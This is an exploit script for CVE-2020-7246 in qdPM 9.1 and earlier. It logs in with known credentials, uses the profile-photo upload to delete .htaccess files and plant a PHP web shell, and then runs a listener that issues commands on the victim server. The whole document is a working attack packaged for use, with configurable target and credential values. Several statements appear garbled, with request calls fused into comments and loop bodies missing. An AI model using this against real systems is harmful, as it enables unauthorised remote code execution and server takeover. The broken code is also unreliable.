# Title: qdPM Webshell Upload + RCE Exploit (qdPMv9.1 and below) (CVE-2020-7246)  
# Author: Tobin Shields (@TobinShields)  
# Description: This is an exploit to automatically upload a PHP web shell to  
# the qdPM platform via the "upload a profile photo" feature.  
# This method also bypasses the fix put into place from a previous CVE  
# Usage: In order to leverage this exploit, you must know the credentials of  
# at least one user. Then, you should modify the values highlighted below.  
# You will also need a .php web shell payload to upload. This exploit  
# was built and tested using the PHP script built by pentestmonkey:  
# Imports  
from requests import Session  
from bs4 import BeautifulSoup as bs  
import socket  
from multiprocessing import Process  
import time  
# CHANGE THESE VALUES-----------------------------------------------------------------  
login_url = "http://[victim_domain]/path/to/qdPM/index.php/login"  
username = ""  
password = "Pa$$w0rd"  
payload = "/path/to/payload.php"  
listner_port = 1234 # This should match your PHP payload  
connection_delay = 2 # Increase this value if you have a slow connection and are experiencing issues  
# ------------------------------------------------------------------------------------  
# Build the myAccout URL from the provided URL  
myAccount_url = login_url.replace("login", "myAccount")  
# PROGRAM FUNCTIONS -----------------------------------------------------------------  
# Utility function for anytime a page needs to be requested and parsed via bs4  
def requestAndSoupify(url):  
page = s.get(url)  
soup = bs(page.content, "html.parser")  
return soup  
# Function to log into the application, and supply the correct username/password  
def login(url):  
# Soupify the login page  
login_page = requestAndSoupify(url)  
# Grab the csrf token  
token = login_page.find("input", {"name": "login[_csrf_token]"})["value"]  
# Build the POST values  
login_data = {  
"login[email]": username,  
"login[password]": password,  
"login[_csrf_token]": token  
# Send the login request, login_data)  
# Function to get the base values for making a POST request from the myAccount page  
def getPOSTValues():  
myAccount_soup = requestAndSoupify(myAccount_url)  
# Search for the 'base' POST data needed for any requests  
u_id = myAccount_soup.find("input", {"name": "users[id]"})["value"]  
token = myAccount_soup.find("input", {"name": "users[_csrf_token]"})["value"]  
u_name = myAccount_soup.find("input", {"name": "users[name]"})["value"]  
u_email = myAccount_soup.find("input", {"name": "users[email]"})["value"]  
# Populate the POST data object  
post_data = {  
"users[id]": u_id,  
"users[_csrf_token]": token,  
"users[name]": u_name,  
"users[email]": u_email,  
"users[culture]": "en" # Keep the language English--change this for your victim locale  
return post_data  
# Function to remove the a file from the server by exploiting the CVE  
def removeFile(file_to_remove):  
# Get base POST data  
post_data = getPOSTValues()  
# Add the POST data to remove a file  
post_data["users[photo_preview]"] = file_to_remove  
post_data["users[remove_photo]"] = 1  
# Send the POST request to the /update page + "/update", post_data)  
# Print update to user  
print("Removing " + file_to_remove)  
# Sleep to account for slow connections  
# Function to upload the payload to the server  
def uploadPayload(payload):  
# Get payload name from supplied URI  
payload_name = payload.rsplit('/', 1)[1]  
# Request page and get base POST files  
post_data = getPOSTValues()  
# Build correct payload POST header by dumping the contents  
payload_file = {"users[photo]": open(payload, 'rb')}  
# Send POST request with base data + file + "/update", post_data, files=payload_file)  
# Print update to user  
print("Uploading " + payload_name)  
# Sleep for slow connections  
# A Function to find the name of the newly uploaded payload  
# NOTE: We have to do this because qdPM adds a random number to the uploaded file  
# EX: webshell.php becomes 1584009-webshell.php  
def getPayloadURL():  
myAccount_soup = requestAndSoupify(myAccount_url)  
payloadURL = myAccount_soup.find("img", {"class": "user-photo"})["src"]  
return payloadURL  
# Function to handle creating the webshell listener and issue commands to the victim  
def createBackdoorListener():  
# Set up the listening socket on localhost  
server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
host = ""  
port = listner_port # Specified at the start of this script by user  
server_socket.bind((host, port))  
victim, address = server_socket.accept()  
# Print update to user once the connection is made  
print("Received connection from: " + str(address))  
# Simulate a terminal and build a pusdo-prompt using the victem IP  
prompt = "backdoor@" + str(address[0]) + ":~$ "  
# Grab the first response from the victim--this is usually OS info  
response = victim.recv(1024).decode('utf-8')  
print("\nType 'exit' at any time to close the connection")  
# Maintain the connection and send data back and forth  
while True:  
# Grab the command from the user  
command = input(prompt)  
# If they type "exit" then close the socket  
if 'exit' in command:  
print("Disconnecting, please wait...")  
# For all other commands provided  
# Encode the command to be properly sent via the socket & send the command  
command = str.encode(command + "\n")  
# Grab the response to the command and decode it  
response = victim.recv(1024).decode('utf-8')  
# For some odd reason you have to hit "enter" after sending the command to receive the output  
# TODO: Fix this so it works on a single send? Although it might just be the PHP webshell  
response = victim.recv(1024).decode('utf-8')  
# If a command returns nothing (i.e. a 'cd' command, it prints a "$"  
# This is a confusing output so it will omit this output  
if response.strip() != "$":  
# Trigger the PHP to run by making a page request  
def triggerShell(s, payloadURL):  
pageReq = s.get(payloadURL)  
# MAIN FUNCTION ----------------------------------------------------------------------  
# The main function of this program establishes a unique session to issue the various POST requests  
with Session() as s:  
# Login as know user  
# Remove Files  
# You may need to modify this list if you suspect that there are more .htaccess files  
# However, the default qdPM installation just had these two  
files_to_remove = [".htaccess", "../.htaccess"]  
for f in files_to_remove:  
# Upload payload  
# Get the payload URL  
payloadURL = getPayloadURL()  
# Start a thread to trigger the script with a web request  
process = Process(target=triggerShell, args=(s, payloadURL))  
# Create the backdoor listener and wait for the above request to trigger